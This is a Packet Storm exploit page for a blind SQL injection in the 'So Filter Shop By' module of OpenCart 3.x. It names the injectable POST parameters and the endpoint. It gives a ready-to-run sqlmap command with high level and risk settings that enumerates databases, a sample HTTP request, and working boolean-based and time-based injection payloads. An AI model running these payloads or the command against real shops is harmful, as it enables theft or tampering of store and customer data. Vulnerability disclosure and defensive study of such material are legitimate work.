OpenCart 3.x So Filter Shop By SQL Injection

Authored by Saud Alenazi

Posted Jun 28, 2022

The So Filter Shop By module for OpenCart version 3.x suffers from a remote blind SQL injection vulnerability.

tags | exploit, remote, sql injection

SHA-256 | 462124e2fc27238a23e89c00a09bc9b367444b9617845792df716e1e7565491f **Download** | **Favorite** | **View**

Related Files

Share This

Like 0 Tweet LinkedIn Reddit Digg StumbleUpon

Change Mirror Download

```
# Exploit Title: OpenCart v3.x So Filter Shop By - Blind SQL Injection
# Date: 28/06/2022
# Exploit Author: Saud Alenazi
# Vendor Homepage: https://www.opencart.com/
# Software Link: https://codecanyon.net/item/so-filter-shop-by-responsive-opencart-module/13945633
# Version: V3.X
# Tested on: XAMPP, Linux
# Contact: https://twitter.com/dmaral3noz


* Description :

So Filter Shop By Module is compatible with any Opencart allows SQL Injection via parameter 'att_value_id ,
manu_value_id , opt_value_id , subcate_value_id ' in /index.php?
route=extension/module/so_filter_shop_by/filter_data.
Exploiting this issue could allow an attacker to compromise the application, access or modify data, or exploit
latent vulnerabilities in the underlying database.


* Sqlmap command :

sqlmap -u 'http://127.0.0.1/index.php?route=extension/module/so_filter_shop_by/filter_data' --data
"att_value_id=saud&category_id_path=80&condition_search=AND&isFilterShopBy=1&manu_value_id=&maxPrice=1&minPrice=
 -p "att_value_id" --method POST --level=5 --risk=3 --dbs --random-agent

Request :

===========

POST /index.php?route=extension/module/so_filter_shop_by/filter_data HTTP/1.1
Content-Type: application/x-www-form-urlencoded
Cookie: OCSESSID=aaf920777d0aacdee96eb7eb50
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Encoding: gzip,deflate
Content-Length: 29
Host: 127.0.0.1
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:68.0) Gecko/20100101 Firefox/68.0
Connection: Keep-alive

att_value_id=1&category_id_path=80&condition_search=AND&isFilterShopBy=1&manu_value_id=&maxPrice=1&minPrice=0&op


===========

Output :

Parameter: att_value_id (POST)
    Type: boolean-based blind
    Title: OR boolean-based blind - WHERE or HAVING clause
    Payload: att_value_id=-7402) OR 6808=6808 AND
(4992=4992&category_id_path=80&condition_search=AND&isFilterShopBy=1&manu_value_id=&maxPrice=1&minPrice=0&opt_va

    Type: time-based blind
    Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
    Payload: att_value_id=1) AND (SELECT 6365 FROM (SELECT(SLEEP(5)))qqBP) AND
(7704=7704&category_id_path=80&condition_search=AND&isFilterShopBy=1&manu_value_id=&maxPrice=1&minPrice=0&opt_va
```

Login or Register to add favorites

Follow us on Twitter

Subscribe to an RSS Feed

File Archive: November 2022 <

Su	Mo	Tu	We	Th	Fr	Sa
		1	2	3	4	5
6	7	8	9	10	11	12
13	14	15	16	17	18	19
20	21	22	23	24	25	26
27	28	29	30			

Top Authors In Last 30 Days

Red Hat	188 files
Ubuntu	57 files
Gentoo	44 files
Debian	28 files
Apple	25 files
Google Security Research	14 files
malvuln	10 files
nu11secur1ty	6 files
mjurczyk	4 files
George Tsimpidas	3 files

File Tags

ActiveX	(932)
Advisory	(79,557)
Arbitrary	(15,643)
BBS	(2,859)
Bypass	(1,615)
CGI	(1,015)
Code Execution	(6,913)
Conference	(672)
Cracker	(840)
CSRF	(3,288)
DoS	(22,541)
Encryption	(2,349)
Exploit	(50,293)
File Inclusion	(4,162)
File Upload	(946)
Firewall	(821)
Info Disclosure	(2,656)

File Archives

November 2022
October 2022
September 2022
August 2022
July 2022
June 2022
May 2022
April 2022
March 2022
February 2022
January 2022
December 2021
Older

Systems

AIX	(426)
Apple	(1,926)

- Intrusion Detection (866)
- Java (2,888)
- JavaScript (817)
- Kernel (6,255)
- Local (14,173)
- Magazine (586)
- Overflow (12,390)
- Perl (1,417)
- PHP (5,087)
- Proof of Concept (2,290)
- Protocol (3,426)
- Python (1,449)
- Remote (30,009)
- Root (3,496)
- Ruby (594)
- Scanner (1,631)
- Security Tool (7,768)
- Shell (3,098)
- Shellcode (1,204)
- Sniffer (885)
- Spoof (2,165)
- SQL Injection (16,089)
- TCP (2,377)
- Trojan (685)
- UDP (875)
- Virus (661)
- Vulnerability (31,104)
- Web (9,329)
- Whitepaper (3,728)
- x86 (946)
- XSS (17,478)
- Other

- BSD (370)
- CentOS (55)
- Cisco (1,917)
- Debian (6,620)
- Fedora (1,690)
- FreeBSD (1,242)
- Gentoo (4,272)
- HPUX (878)
- iOS (330)
- iPhone (108)
- IRIX (220)
- Juniper (67)
- Linux (44,118)
- Mac OS X (684)
- Mandriva (3,105)
- NetBSD (255)
- OpenBSD (479)
- RedHat (12,339)
- Slackware (941)
- Solaris (1,607)
- SUSE (1,444)
- Ubuntu (8,147)
- UNIX (9,150)
- UnixWare (185)
- Windows (6,504)
- Other

packet storm

Site Links

- News by Month
- News Tags
- Files by Month
- File Tags
- File Directory

About Us

- History & Purpose
- Contact Information
- Terms of Service
- Privacy Statement
- Copyright Information

Hosting By

- Rokasec

Follow us on Twitter

Subscribe to an RSS Feed